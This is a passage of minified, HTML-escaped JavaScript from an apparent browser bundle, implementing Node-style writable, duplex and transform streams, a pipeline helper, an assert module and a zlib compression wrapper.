Ly}})):G5=function(t){return t instanceof this};function Ss(e){var t=this instanceof KB.Duplex;if(!t&amp;&amp;!G5.call(Ss,this))return new Ss(e);this._writableState=new Ly(e,this,t),this.writable=!0,e&amp;&amp;(typeof e.write==&quot;function&quot;&amp;&amp;(this._write=e.write),typeof e.writev==&quot;function&quot;&amp;&amp;(this._writev=e.writev),typeof e.destroy==&quot;function&quot;&amp;&amp;(this._destroy=e.destroy),typeof e.final==&quot;function&quot;&amp;&amp;(this._final=e.final)),MV.call(this)}Ss.prototype.pipe=function(){w1(this,new R3e)};function M3e(e,t){var r=new F3e;w1(e,r),Wn.nextTick(t,r)}function U3e(e,t,r,n){var i;return r===null?i=new Q3e:typeof r!=&quot;string&quot;&amp;&amp;!t.objectMode&amp;&amp;(i=new _3e(&quot;chunk&quot;,[&quot;string&quot;,&quot;Buffer&quot;],r)),i?(w1(e,i),Wn.nextTick(n,i),!1):!0}Ss.prototype.write=function(e,t,r){var n=this._writableState,i=!1,s=!n.objectMode&amp;&amp;S3e(e);return s&amp;&amp;!IE.isBuffer(e)&amp;&amp;(e=N3e(e)),typeof t==&quot;function&quot;&amp;&amp;(r=t,t=null),s?t=&quot;buffer&quot;:t||(t=n.defaultEncoding),typeof r!=&quot;function&quot;&amp;&amp;(r=L3e),n.ending?M3e(this,r):(s||U3e(this,n,e,r))&amp;&amp;(n.pendingcb++,i=$3e(this,n,s,e,t,r)),i};Ss.prototype.cork=function(){this._writableState.corked++};Ss.prototype.uncork=function(){var e=this._writableState;e.corked&amp;&amp;(e.corked--,!e.writing&amp;&amp;!e.corked&amp;&amp;!e.bufferProcessing&amp;&amp;e.bufferedRequest&amp;&amp;UV(this,e))};Ss.prototype.setDefaultEncoding=function(t){if(typeof t==&quot;string&quot;&amp;&amp;(t=t.toLowerCase()),!([&quot;hex&quot;,&quot;utf8&quot;,&quot;utf-8&quot;,&quot;ascii&quot;,&quot;binary&quot;,&quot;base64&quot;,&quot;ucs2&quot;,&quot;ucs-2&quot;,&quot;utf16le&quot;,&quot;utf-16le&quot;,&quot;raw&quot;].indexOf((t+&quot;&quot;).toLowerCase())&gt;-1))throw new O3e(t);return this._writableState.defaultEncoding=t,this};Object.defineProperty(Ss.prototype,&quot;writableBuffer&quot;,{enumerable:!1,get:function(){return this._writableState&amp;&amp;this._writableState.getBuffer()}});function z3e(e,t,r){return!e.objectMode&amp;&amp;e.decodeStrings!==!1&amp;&amp;typeof t==&quot;string&quot;&amp;&amp;(t=IE.from(t,r)),t}Object.defineProperty(Ss.prototype,&quot;writableHighWaterMark&quot;,{enumerable:!1,get:function(){return this._writableState.highWaterMark}});function $3e(e,t,r,n,i,s){if(!r){var o=z3e(t,n,i);n!==o&amp;&amp;(r=!0,i=&quot;buffer&quot;,n=o)}var l=t.objectMode?1:n.length;t.length+=l;var c=t.length&lt;t.highWaterMark;if(c||(t.needDrain=!0),t.writing||t.corked){var d=t.lastBufferedRequest;t.lastBufferedRequest={chunk:n,encoding:i,isBuf:r,callback:s,next:null},d?d.next=t.lastBufferedRequest:t.bufferedRequest=t.lastBufferedRequest,t.bufferedRequestCount+=1}else YN(e,t,!1,l,n,i,s);return c}function YN(e,t,r,n,i,s,o){t.writelen=n,t.writecb=o,t.writing=!0,t.sync=!0,t.destroyed?t.onwrite(new P3e(&quot;write&quot;)):r?e._writev(i,t.onwrite):e._write(i,s,t.onwrite),t.sync=!1}function H3e(e,t,r,n,i){--t.pendingcb,r?(Wn.nextTick(i,n),Wn.nextTick(Tv,e,t),e._writableState.errorEmitted=!0,w1(e,n)):(i(n),e._writableState.errorEmitted=!0,w1(e,n),Tv(e,t))}function q3e(e){e.writing=!1,e.writecb=null,e.length-=e.writelen,e.writelen=0}function G3e(e,t){var r=e._writableState,n=r.sync,i=r.writecb;if(typeof i!=&quot;function&quot;)throw new T3e;if(q3e(r),t)H3e(e,r,n,t,i);else{var s=zV(r)||e.destroyed;!s&amp;&amp;!r.corked&amp;&amp;!r.bufferProcessing&amp;&amp;r.bufferedRequest&amp;&amp;UV(e,r),n?Wn.nextTick(EP,e,r,s,i):EP(e,r,s,i)}}function EP(e,t,r,n){r||V3e(e,t),t.pendingcb--,n(),Tv(e,t)}function V3e(e,t){t.length===0&amp;&amp;t.needDrain&amp;&amp;(t.needDrain=!1,e.emit(&quot;drain&quot;))}function UV(e,t){t.bufferProcessing=!0;var r=t.bufferedRequest;if(e._writev&amp;&amp;r&amp;&amp;r.next){var n=t.bufferedRequestCount,i=new Array(n),s=t.corkedRequestsFree;s.entry=r;for(var o=0,l=!0;r;)i[o]=r,r.isBuf||(l=!1),r=r.next,o+=1;i.allBuffers=l,YN(e,t,!0,t.length,i,&quot;&quot;,s.finish),t.pendingcb++,t.lastBufferedRequest=null,s.next?(t.corkedRequestsFree=s.next,s.next=null):t.corkedRequestsFree=new LV(t),t.bufferedRequestCount=0}else{for(;r;){var c=r.chunk,d=r.encoding,u=r.callback,h=t.objectMode?1:c.length;if(YN(e,t,!1,h,c,d,u),r=r.next,t.bufferedRequestCount--,t.writing)break}r===null&amp;&amp;(t.lastBufferedRequest=null)}t.bufferedRequest=r,t.bufferProcessing=!1}Ss.prototype._write=function(e,t,r){r(new D3e(&quot;_write()&quot;))};Ss.prototype._writev=null;Ss.prototype.end=function(e,t,r){var n=this._writableState;return typeof e==&quot;function&quot;?(r=e,e=null,t=null):typeof t==&quot;function&quot;&amp;&amp;(r=t,t=null),e!=null&amp;&amp;this.write(e,t),n.corked&amp;&amp;(n.corked=1,this.uncork()),n.ending||Y3e(this,n,r),this};Object.defineProperty(Ss.prototype,&quot;writableLength&quot;,{enumerable:!1,get:function(){return this._writableState.length}});function zV(e){return e.ending&amp;&amp;e.length===0&amp;&amp;e.bufferedRequest===null&amp;&amp;!e.finished&amp;&amp;!e.writing}function W3e(e,t){e._final(function(r){t.pendingcb--,r&amp;&amp;w1(e,r),t.prefinished=!0,e.emit(&quot;prefinish&quot;),Tv(e,t)})}function K3e(e,t){!t.prefinished&amp;&amp;!t.finalCalled&amp;&amp;(typeof e._final==&quot;function&quot;&amp;&amp;!t.destroyed?(t.pendingcb++,t.finalCalled=!0,Wn.nextTick(W3e,e,t)):(t.prefinished=!0,e.emit(&quot;prefinish&quot;)))}function Tv(e,t){var r=zV(t);if(r&amp;&amp;(K3e(e,t),t.pendingcb===0&amp;&amp;(t.finished=!0,e.emit(&quot;finish&quot;),t.autoDestroy))){var n=e._readableState;(!n||n.autoDestroy&amp;&amp;n.endEmitted)&amp;&amp;e.destroy()}return r}function Y3e(e,t,r){t.ending=!0,Tv(e,t),r&amp;&amp;(t.finished?Wn.nextTick(r):e.once(&quot;finish&quot;,r)),t.ended=!0,e.writable=!1}function Z3e(e,t,r){var n=e.entry;for(e.entry=null;n;){var i=n.callback;t.pendingcb--,i(r),n=n.next}t.corkedRequestsFree.next=e}Object.defineProperty(Ss.prototype,&quot;destroyed&quot;,{enumerable:!1,get:function(){return this._writableState===void 0?!1:this._writableState.destroyed},set:function(t){this._writableState&amp;&amp;(this._writableState.destroyed=t)}});Ss.prototype.destroy=YB.destroy;Ss.prototype._undestroy=YB.undestroy;Ss.prototype._destroy=function(e,t){t(e)};var J3e=Object.keys||function(e){var t=[];for(var r in e)t.push(r);return t};const E1=tx;E1.Duplex=Xd;Fy(Xd,E1.Readable);for(var CP=J3e(E1.Writable.prototype),Kj=0;Kj&lt;CP.length;Kj++){var Yj=CP[Kj];Xd.prototype[Yj]||(Xd.prototype[Yj]=E1.Writable.prototype[Yj])}function Xd(e){if(!(this instanceof Xd))return new Xd(e);E1.Readable.call(this,e),E1.Writable.call(this,e),this.allowHalfOpen=!0,e&amp;&amp;(e.readable===!1&amp;&amp;(this.readable=!1),e.writable===!1&amp;&amp;(this.writable=!1),e.allowHalfOpen===!1&amp;&amp;(this.allowHalfOpen=!1,this.once(&quot;end&quot;,X3e)))}Object.defineProperty(Xd.prototype,&quot;writableHighWaterMark&quot;,{enumerable:!1,get:function(){return this._writableState.highWaterMark}});Object.defineProperty(Xd.prototype,&quot;writableBuffer&quot;,{enumerable:!1,get:function(){return this._writableState&amp;&amp;this._writableState.getBuffer()}});Object.defineProperty(Xd.prototype,&quot;writableLength&quot;,{enumerable:!1,get:function(){return this._writableState.length}});function X3e(){this._writableState.ended||Wn.nextTick(eNe,this)}function eNe(e){e.end()}Object.defineProperty(Xd.prototype,&quot;destroyed&quot;,{enumerable:!1,get:function(){return this._readableState===void 0||this._writableState===void 0?!1:this._readableState.destroyed&amp;&amp;this._writableState.destroyed},set:function(t){this._readableState===void 0||this._writableState===void 0||(this._readableState.destroyed=t,this._writableState.destroyed=t)}});const My=tx;My.Transform=Xf;var jE=qg.codes,tNe=jE.ERR_METHOD_NOT_IMPLEMENTED,rNe=jE.ERR_MULTIPLE_CALLBACK,nNe=jE.ERR_TRANSFORM_ALREADY_TRANSFORMING,iNe=jE.ERR_TRANSFORM_WITH_LENGTH_0;Fy(Xf,My.Duplex);function aNe(e,t){var r=this._transformState;r.transforming=!1;var n=r.writecb;if(n===null)return this.emit(&quot;error&quot;,new rNe);r.writechunk=null,r.writecb=null,t!=null&amp;&amp;this.push(t),n(e);var i=this._readableState;i.reading=!1,(i.needReadable||i.length&lt;i.highWaterMark)&amp;&amp;this._read(i.highWaterMark)}function Xf(e){if(!(this instanceof Xf))return new Xf(e);My.Duplex.call(this,e),this._transformState={afterTransform:aNe.bind(this),needTransform:!1,transforming:!1,writecb:null,writechunk:null,writeencoding:null},this._readableState.needReadable=!0,this._readableState.sync=!1,e&amp;&amp;(typeof e.transform==&quot;function&quot;&amp;&amp;(this._transform=e.transform),typeof e.flush==&quot;function&quot;&amp;&amp;(this._flush=e.flush)),this.on(&quot;prefinish&quot;,sNe)}function sNe(){var e=this;typeof this._flush==&quot;function&quot;&amp;&amp;!this._readableState.destroyed?this._flush(function(t,r){IP(e,t,r)}):IP(this,null,null)}Xf.prototype.push=function(e,t){return this._transformState.needTransform=!1,My.Duplex.prototype.push.call(this,e,t)};Xf.prototype._transform=function(e,t,r){r(new tNe(&quot;_transform()&quot;))};Xf.prototype._write=function(e,t,r){var n=this._transformState;if(n.writecb=r,n.writechunk=e,n.writeencoding=t,!n.transforming){var i=this._readableState;(n.needTransform||i.needReadable||i.length&lt;i.highWaterMark)&amp;&amp;this._read(i.highWaterMark)}};Xf.prototype._read=function(e){var t=this._transformState;t.writechunk!==null&amp;&amp;!t.transforming?(t.transforming=!0,this._transform(t.writechunk,t.writeencoding,t.afterTransform)):t.needTransform=!0};Xf.prototype._destroy=function(e,t){My.Duplex.prototype._destroy.call(this,e,function(r){t(r)})};function IP(e,t,r){if(t)return e.emit(&quot;error&quot;,t);if(r!=null&amp;&amp;e.push(r),e._writableState.length)throw new iNe;if(e._transformState.transforming)throw new nNe;return e.push(null)}const $V=tx;$V.PassThrough=Rv;Fy(Rv,$V.Transform);function Rv(e){if(!(this instanceof Rv))return new Rv(e);Transform.call(this,e)}Rv.prototype._transform=function(e,t,r){r(null,e)};var Zj;function oNe(e){var t=!1;return function(){t||(t=!0,e.apply(void 0,arguments))}}var HV=qg.codes,lNe=HV.ERR_MISSING_ARGS,cNe=HV.ERR_STREAM_DESTROYED;function jP(e){if(e)throw e}function uNe(e){return e.setHeader&amp;&amp;typeof e.abort==&quot;function&quot;}function dNe(e,t,r,n){n=oNe(n);var i=!1;e.on(&quot;close&quot;,function(){i=!0}),Zj===void 0&amp;&amp;(Zj=qB),Zj(e,{readable:t,writable:r},function(o){if(o)return n(o);i=!0,n()});var s=!1;return function(o){if(!i&amp;&amp;!s){if(s=!0,uNe(e))return e.abort();if(typeof e.destroy==&quot;function&quot;)return e.destroy();n(o||new cNe(&quot;pipe&quot;))}}}function NP(e){e()}function fNe(e,t){return e.pipe(t)}function hNe(e){return!e.length||typeof e[e.length-1]!=&quot;function&quot;?jP:e.pop()}function mNe(){for(var e=arguments.length,t=new Array(e),r=0;r&lt;e;r++)t[r]=arguments[r];var n=hNe(t);if(Array.isArray(t[0])&amp;&amp;(t=t[0]),t.length&lt;2)throw new lNe(&quot;streams&quot;);var i,s=t.map(function(o,l){var c=l&lt;t.length-1,d=l&gt;0;return dNe(o,c,d,function(u){i||(i=u),u&amp;&amp;s.forEach(NP),!c&amp;&amp;(s.forEach(NP),n(i))})});return t.reduce(fNe)}var pNe=mNe;(function(e,t){const r=tx;t=e.exports=r.Readable,t.Stream=r.Readable,t.Readable=r.Readable,t.Writable=r.Writable,t.Duplex=r.Duplex,t.Transform=r.Transform,t.PassThrough=r.PassThrough,t.finished=qB,t.pipeline=pNe})(qN,qN.exports);var qV=qN.exports,GV=oV(qV),VV={},WV={};function SP(e,t){if(e===t)return 0;for(var r=e.length,n=t.length,i=0,s=Math.min(r,n);i&lt;s;++i)if(e[i]!==t[i]){r=e[i],n=t[i];break}return r&lt;n?-1:n&lt;r?1:0}var gNe=Object.prototype.hasOwnProperty,BP=Object.keys||function(e){var t=[];for(var r in e)gNe.call(e,r)&amp;&amp;t.push(r);return t},kP=Array.prototype.slice,Jj;function KV(){return typeof Jj&lt;&quot;u&quot;?Jj:Jj=(function(){return(function(){}).name===&quot;foo&quot;})()}function _P(e){return Object.prototype.toString.call(e)}function DP(e){return tg(e)||typeof Cg.ArrayBuffer!=&quot;function&quot;?!1:typeof ArrayBuffer.isView==&quot;function&quot;?ArrayBuffer.isView(e):e?!!(e instanceof DataView||e.buffer&amp;&amp;e.buffer instanceof ArrayBuffer):!1}function Jl(e,t){e||Wl(e,!0,t,&quot;==&quot;,Pv)}var ANe=/\s*function\s+([^\(\s]*)\s*/;function YV(e){if(ug(e)){if(KV())return e.name;var t=e.toString(),r=t.match(ANe);return r&amp;&amp;r[1]}}Jl.AssertionError=NE;function NE(e){this.name=&quot;AssertionError&quot;,this.actual=e.actual,this.expected=e.expected,this.operator=e.operator,e.message?(this.message=e.message,this.generatedMessage=!1):(this.message=xNe(this),this.generatedMessage=!0);var t=e.stackStartFunction||Wl;if(Error.captureStackTrace)Error.captureStackTrace(this,t);else{var r=new Error;if(r.stack){var n=r.stack,i=YV(t),s=n.indexOf(`
`+i);if(s&gt;=0){var o=n.indexOf(`
`,s+1);n=n.substring(o+1)}this.stack=n}}}Dv(NE,Error);function TP(e,t){return typeof e==&quot;string&quot;?e.length&lt;t?e:e.slice(0,t):e}function RP(e){if(KV()||!ug(e))return M0(e);var t=YV(e),r=t?&quot;: &quot;+t:&quot;&quot;;return&quot;[Function&quot;+r+&quot;]&quot;}function xNe(e){return TP(RP(e.actual),128)+&quot; &quot;+e.operator+&quot; &quot;+TP(RP(e.expected),128)}function Wl(e,t,r,n,i){throw new NE({message:r,actual:e,expected:t,operator:n,stackStartFunction:i})}Jl.fail=Wl;function Pv(e,t){e||Wl(e,!0,t,&quot;==&quot;,Pv)}Jl.ok=Pv;Jl.equal=ZB;function ZB(e,t,r){e!=t&amp;&amp;Wl(e,t,r,&quot;==&quot;,ZB)}Jl.notEqual=JB;function JB(e,t,r){e==t&amp;&amp;Wl(e,t,r,&quot;!=&quot;,JB)}Jl.deepEqual=XB;function XB(e,t,r){C1(e,t,!1)||Wl(e,t,r,&quot;deepEqual&quot;,XB)}Jl.deepStrictEqual=e8;function e8(e,t,r){C1(e,t,!0)||Wl(e,t,r,&quot;deepStrictEqual&quot;,e8)}function C1(e,t,r,n){if(e===t)return!0;if(tg(e)&amp;&amp;tg(t))return SP(e,t)===0;if(b1(e)&amp;&amp;b1(t))return e.getTime()===t.getTime();if(cg(e)&amp;&amp;cg(t))return e.source===t.source&amp;&amp;e.global===t.global&amp;&amp;e.multiline===t.multiline&amp;&amp;e.lastIndex===t.lastIndex&amp;&amp;e.ignoreCase===t.ignoreCase;if((e===null||typeof e!=&quot;object&quot;)&amp;&amp;(t===null||typeof t!=&quot;object&quot;))return r?e===t:e==t;if(DP(e)&amp;&amp;DP(t)&amp;&amp;_P(e)===_P(t)&amp;&amp;!(e instanceof Float32Array||e instanceof Float64Array))return SP(new Uint8Array(e.buffer),new Uint8Array(t.buffer))===0;if(tg(e)!==tg(t))return!1;n=n||{actual:[],expected:[]};var i=n.actual.indexOf(e);return i!==-1&amp;&amp;i===n.expected.indexOf(t)?!0:(n.actual.push(e),n.expected.push(t),vNe(e,t,r,n))}function PP(e){return Object.prototype.toString.call(e)==&quot;[object Arguments]&quot;}function vNe(e,t,r,n){if(e==null||t===null||t===void 0)return!1;if(Mw(e)||Mw(t))return e===t;if(r&amp;&amp;Object.getPrototypeOf(e)!==Object.getPrototypeOf(t))return!1;var i=PP(e),s=PP(t);if(i&amp;&amp;!s||!i&amp;&amp;s)return!1;if(i)return e=kP.call(e),t=kP.call(t),C1(e,t,r);var o=BP(e),l=BP(t),c,d;if(o.length!==l.length)return!1;for(o.sort(),l.sort(),d=o.length-1;d&gt;=0;d--)if(o[d]!==l[d])return!1;for(d=o.length-1;d&gt;=0;d--)if(c=o[d],!C1(e[c],t[c],r,n))return!1;return!0}Jl.notDeepEqual=t8;function t8(e,t,r){C1(e,t,!1)&amp;&amp;Wl(e,t,r,&quot;notDeepEqual&quot;,t8)}Jl.notDeepStrictEqual=r8;function r8(e,t,r){C1(e,t,!0)&amp;&amp;Wl(e,t,r,&quot;notDeepStrictEqual&quot;,r8)}Jl.strictEqual=n8;function n8(e,t,r){e!==t&amp;&amp;Wl(e,t,r,&quot;===&quot;,n8)}Jl.notStrictEqual=i8;function i8(e,t,r){e===t&amp;&amp;Wl(e,t,r,&quot;!==&quot;,i8)}function QP(e,t){if(!e||!t)return!1;if(Object.prototype.toString.call(t)==&quot;[object RegExp]&quot;)return t.test(e);try{if(e instanceof t)return!0}catch{}return Error.isPrototypeOf(t)?!1:t.call({},e)===!0}function yNe(e){var t;try{e()}catch(r){t=r}return t}function ZV(e,t,r,n){var i;if(typeof t!=&quot;function&quot;)throw new TypeError(&#039;&quot;block&quot; argument must be a function&#039;);typeof r==&quot;string&quot;&amp;&amp;(n=r,r=null),i=yNe(t),n=(r&amp;&amp;r.name?&quot; (&quot;+r.name+&quot;).&quot;:&quot;.&quot;)+(n?&quot; &quot;+n:&quot;.&quot;),e&amp;&amp;!i&amp;&amp;Wl(i,r,&quot;Missing expected exception&quot;+n);var s=typeof n==&quot;string&quot;,o=!e&amp;&amp;e1(i),l=!e&amp;&amp;i&amp;&amp;!r;if((o&amp;&amp;s&amp;&amp;QP(i,r)||l)&amp;&amp;Wl(i,r,&quot;Got unwanted exception&quot;+n),e&amp;&amp;i&amp;&amp;r&amp;&amp;!QP(i,r)||!e&amp;&amp;i)throw i}Jl.throws=JV;function JV(e,t,r){ZV(!0,e,t,r)}Jl.doesNotThrow=XV;function XV(e,t,r){ZV(!1,e,t,r)}Jl.ifError=eW;function eW(e){if(e)throw e}var bNe=Object.freeze({__proto__:null,AssertionError:NE,assert:Pv,deepEqual:XB,deepStrictEqual:e8,default:Jl,doesNotThrow:XV,equal:ZB,fail:Wl,ifError:eW,notDeepEqual:t8,notDeepStrictEqual:r8,notEqual:JB,notStrictEqual:i8,ok:Pv,strictEqual:n8,throws:JV}),tW=ex(bNe);(function(e){var t=tW,r=V2e,n=J2e,i=nbe,s=sbe;for(var o in s)e[o]=s[o];e.NONE=0,e.DEFLATE=1,e.INFLATE=2,e.GZIP=3,e.GUNZIP=4,e.DEFLATERAW=5,e.INFLATERAW=6,e.UNZIP=7;var l=31,c=139;function d(u){if(typeof u!=&quot;number&quot;||u&lt;e.DEFLATE||u&gt;e.UNZIP)throw new TypeError(&quot;Bad argument&quot;);this.dictionary=null,this.err=0,this.flush=0,this.init_done=!1,this.level=0,this.memLevel=0,this.mode=u,this.strategy=0,this.windowBits=0,this.write_in_progress=!1,this.pending_close=!1,this.gzip_id_bytes_read=0}d.prototype.close=function(){if(this.write_in_progress){this.pending_close=!0;return}this.pending_close=!1,t(this.init_done,&quot;close before init&quot;),t(this.mode&lt;=e.UNZIP),this.mode===e.DEFLATE||this.mode===e.GZIP||this.mode===e.DEFLATERAW?n.deflateEnd(this.strm):(this.mode===e.INFLATE||this.mode===e.GUNZIP||this.mode===e.INFLATERAW||this.mode===e.UNZIP)&amp;&amp;i.inflateEnd(this.strm),this.mode=e.NONE,this.dictionary=null},d.prototype.write=function(u,h,p,A,y,v,w){return this._write(!0,u,h,p,A,y,v,w)},d.prototype.writeSync=function(u,h,p,A,y,v,w){return this._write(!1,u,h,p,A,y,v,w)},d.prototype._write=function(u,h,p,A,y,v,w,j){if(t.equal(arguments.length,8),t(this.init_done,&quot;write before init&quot;),t(this.mode!==e.NONE,&quot;already finalized&quot;),t.equal(!1,this.write_in_progress,&quot;write already in progress&quot;),t.equal(!1,this.pending_close,&quot;close is pending&quot;),this.write_in_progress=!0,t.equal(!1,h===void 0,&quot;must provide flush value&quot;),this.write_in_progress=!0,h!==e.Z_NO_FLUSH&amp;&amp;h!==e.Z_PARTIAL_FLUSH&amp;&amp;h!==e.Z_SYNC_FLUSH&amp;&amp;h!==e.Z_FULL_FLUSH&amp;&amp;h!==e.Z_FINISH&amp;&amp;h!==e.Z_BLOCK)throw new Error(&quot;Invalid flush value&quot;);if(p==null&amp;&amp;(p=kt.alloc(0),y=0,A=0),this.strm.avail_in=y,this.strm.input=p,this.strm.next_in=A,this.strm.avail_out=j,this.strm.output=v,this.strm.next_out=w,this.flush=h,!u)return this._process(),this._checkError()?this._afterSync():void 0;var E=this;return Wn.nextTick(function(){E._process(),E._after()}),this},d.prototype._afterSync=function(){var u=this.strm.avail_out,h=this.strm.avail_in;return this.write_in_progress=!1,[h,u]},d.prototype._process=function(){var u=null;switch(this.mode){case e.DEFLATE:case e.GZIP:case e.DEFLATERAW:this.err=n.deflate(this.strm,this.flush);break;case e.UNZIP:switch(this.strm.avail_in&gt;0&amp;&amp;(u=this.strm.next_in),this.gzip_id_bytes_read){case 0:if(u===null)break;if(this.strm.input[u]===l){if(this.gzip_id_bytes_read=1,u++,this.strm.avail_in===1)break}else{this.mode=e.INFLATE;break}case 1:if(u===null)break;this.strm.input[u]===c?(this.gzip_id_bytes_read=2,this.mode=e.GUNZIP):this.mode=e.INFLATE;break;default:throw new Error(&quot;invalid number of gzip magic number bytes read&quot;)}case e.INFLATE:case e.GUNZIP:case e.INFLATERAW:for(this.err=i.inflate(this.strm,this.flush),this.err===e.Z_NEED_DICT&amp;&amp;this.dictionary&amp;&amp;(this.err=i.inflateSetDictionary(this.strm,this.dictionary),this.err===e.Z_OK?this.err=i.inflate(this.strm,this.flush):this.err===e.Z_DATA_ERROR&amp;&amp;(this.err=e.Z_NEED_DICT));this.strm.avail_in&gt;0&amp;&amp;this.mode===e.GUNZIP&amp;&amp;this.err===e.Z_STREAM_END&amp;&amp;this.strm.next_in[0]!==0;)this.reset(),this.err=i.inflate(this.strm,this.flush);break;default:throw new Error(&quot;Unknown mode &quot;+this.mode)}},d.prototype._checkError=function(){switch(this.err){case e.Z_OK:case e.Z_BUF_ERROR:if(this.strm.avail_out!==0&amp;&amp;this.flush===e.Z_FINISH)return this._error(&quot;unexpected end of file&quot;),!1;break;case e.Z_STREAM_END:break;case e.Z_NEED_DICT:return this.dictionary==null?this._error(&quot;Missing dictionary&quot;):this._error(&quot;Bad dictionary&quot;),!1;default:return this._error(&quot;Zlib error&quot;),!1}return!0},d.prototype._after=function(){if(this._checkError()){var u=this.strm.avail_out,h=this.strm.avail_in;this.write_in_progress=!1,this.callback(h,u),this.pending_close&amp;&amp;this.close()}},d.prototype._error=function(u){this.strm.msg&amp;&amp;(u=this.strm.msg),this.onerror(u,this.err),this.write_in_progress=!1,this.pending_close&amp;&amp;this.close()},d.prototype.init=function(u,h,p,A,y){t(arguments.length===4||arguments.length===5,&quot;init(windowBits, level, memLevel, strategy, [dictionary])&quot;),t(u&gt;=8&amp;&amp;u&lt;=15,&quot;invalid windowBits&quot;),t(h&gt;=-1&amp;&amp;h&lt;=9,&quot;invalid compression level&quot;),t(p&gt;=1&amp;&amp;p&lt;=9,&quot;invalid memlevel&quot;),t(A===e.Z_FILTERED||A===e.Z_HUFFMAN_ONLY||A===e.Z_RLE||A===e.Z_FIXED||A===e.Z_DEFAULT_STRATEGY,&quot;invalid strategy&quot;),this._init(h,u,p,A,y),this._setDictionary()},d.prototype.params=function(){throw new Error(&quot;deflateParams Not supported&quot;)},d.prototype.reset=function(){this._reset(),this._setDictionary()},d.prototype._init=function(u,h,p,A,y){switch(this.level=u,this.windowBits=h,this.memLevel=p,this.strategy=A,this.flush=e.Z_NO_FLUSH,this.err=e.Z_OK,(this.mode===e.GZIP||this.mode===e.GUNZIP)&amp;&amp;(this.windowBits+=16),this.mode===e.UNZIP&amp;&amp;(this.windowBits+=32),(this.mode===e.DEFLATERAW||this.mode===e.INFLATERAW)&amp;&amp;(this.windowBits=-1*this.windowBits),this.strm=new r,this.mode){case e.DEFLATE:case e.GZIP:case e.DEFLATERAW:this.err=n.deflateInit2(this.strm,this.level,e.Z_DEFLATED,this.windowBits,this.memLevel,this.strategy);break;case e.INFLATE:case e.GUNZIP:case e.INFLATERAW:case e.UNZIP:this.err=i.inflateInit2(this.strm,this.windowBits);break;default:throw new Error(&quot;Unknown mode &quot;+this.mode)}this.err!==e.Z_OK&amp;&amp;this._error(&quot;Init error&quot;),this.dictionary=y,this.write_in_progress=!1,this.init_done=!0},d.prototype._setDictionary=function(){if(this.dictionary!=null){switch(this.err=e.Z_OK,this.mode){case e.DEFLATE:case e.DEFLATERAW:this.err=n.deflateSetDictionary(this.strm,this.dictionary);break}this.err!==e.Z_OK&amp;&amp;this._error(&quot;Failed to set dictionary&quot;)}},d.prototype._reset=function(){switch(this.err=e.Z_OK,this.mode){case e.DEFLATE:case e.DEFLATERAW:case e.GZIP:this.err=n.deflateReset(this.strm);break;case e.INFLATE:case e.INFLATERAW:case e.GUNZIP:this.err=i.inflateReset(this.strm);break}this.err!==e.Z_OK&amp;&amp;this._error(&quot;Failed to reset stream&quot;)},e.Zlib=d})(WV);(function(e){var t=_v.Buffer,r=qV.Transform,n=WV,i=HB,s=tW.ok,o=_v.kMaxLength,l=&quot;Cannot create final Buffer. It would be larger than 0x&quot;+o.toString(16)+&quot; bytes&quot;;n.Z_MIN_WINDOWBITS=8,n.Z_MAX_WINDOWBITS=15,n.Z_DEFAULT_WINDOWBITS=15,n.Z_MIN_CHUNK=64,n.Z_MAX_CHUNK=1/0,n.Z_DEFAULT_CHUNK=16*1024,n.Z_MIN_MEMLEVEL=1,n.Z_MAX_MEMLEVEL=9,n.Z_DEFAULT_MEMLEVEL=8,n.Z_MIN_LEVEL=-1,n.Z_MAX_LEVEL=9,n.Z_DEFAULT_LEVEL=n.Z_DEFAULT_COMPRESSION;for(var c=Object.keys(n),d=0;d&lt;c.length;d++){var u=c[d];u.match(/^Z/)&amp;&amp;Object.defineProperty(e,u,{enumerable:!0,value:n[u],writable:!1})}for(var h={Z_OK:n.Z_OK,Z_STREAM_END:n.Z_STREAM_END,Z_NEED_DICT:n.Z_NEED_DICT,Z_ERRNO:n.Z_ERRNO,Z_STREAM_ERROR:n.Z_STREAM_ERROR,Z_DATA_ERROR:n.Z_DATA_ERROR,Z_MEM_ERROR:n.Z_MEM_ERROR,Z_BUF_ERROR:n.Z_BUF_ERROR,Z_VERSION_ERROR:n.Z_VERSION_ERROR},p=Object.keys(h),A=0;A&lt;p.length;A++){var y=p[A];h[h[y]]=y}Object.defineProperty(e,&quot;codes&quot;,{enumerable:!0,value:Object.freeze(h),writable:!1}),e.Deflate=j,e.Inflate=E,e.Gzip=S,e.Gunzip=_,e.DeflateRaw=C,e.InflateRaw=Q,e.Unzip=R,e.createDeflate=function(P){return new j(P)},e.createInflate=function(P){return new E(P)},e.createDeflateRaw=function(P){return new C(P)},e.createInflateRaw=function(P){return new Q(P)},e.createGzip=function(P){return new S(P)},e.createGunzip=function(P){return new _(P)},e.createUnzip=function(P){return new R(P)},e.deflate=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new j(L),P,X)},e.deflateSync=function(P,L){return w(new j(L),P)},e.gzip=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new S(L),P,X)},e.gzipSync=function(P,L){return w(new S(L),P)},e.deflateRaw=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new C(L),P,X)},e.deflateRawSync=function(P,L){return w(new C(L),P)},e.unzip=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new R(L),P,X)},e.unzipSync=function(P,L){return w(new R(L),P)},e.inflate=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new E(L),P,X)},e.inflateSync=function(P,L){return w(new E(L),P)},e.gunzip=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new _(L),P,X)},e.gunzipSync=function(P,L){return w(new _(L),P)},e.inflateRaw=function(P,L,X){return typeof L==&quot;function&quot;&amp;&amp;(X=L,L={}),v(new Q(L),P,X)},e.inflateRawSync=function(P,L){return w(new Q(L),P)};function v(P,L,X){var W=[],G=0;P.on(&quot;error&quot;,q),P.on(&quot;end&quot;,ee),P.end(L),J();function J(){for(var ne;(ne=P.read())!==null;)W.push(ne),G+=ne.length;P.once(&quot;readable&quot;,J)}function q(ne){P.removeListener(&quot;end&quot;,ee),P.removeListener(&quot;readable&quot;,J),X(ne)}function ee(){var ne,V=null;G&gt;=o?V=new RangeError(l):ne=t.concat(W,G),W=[],P.close(),X(V,ne)}}function w(P,L){if(typeof L==&quot;string&quot;&amp;&amp;(L=t.from(L)),!t.isBuffer(L))throw new TypeError(&quot;Not a string or buffer&quot;);var X=P._finishFlushFlag;return 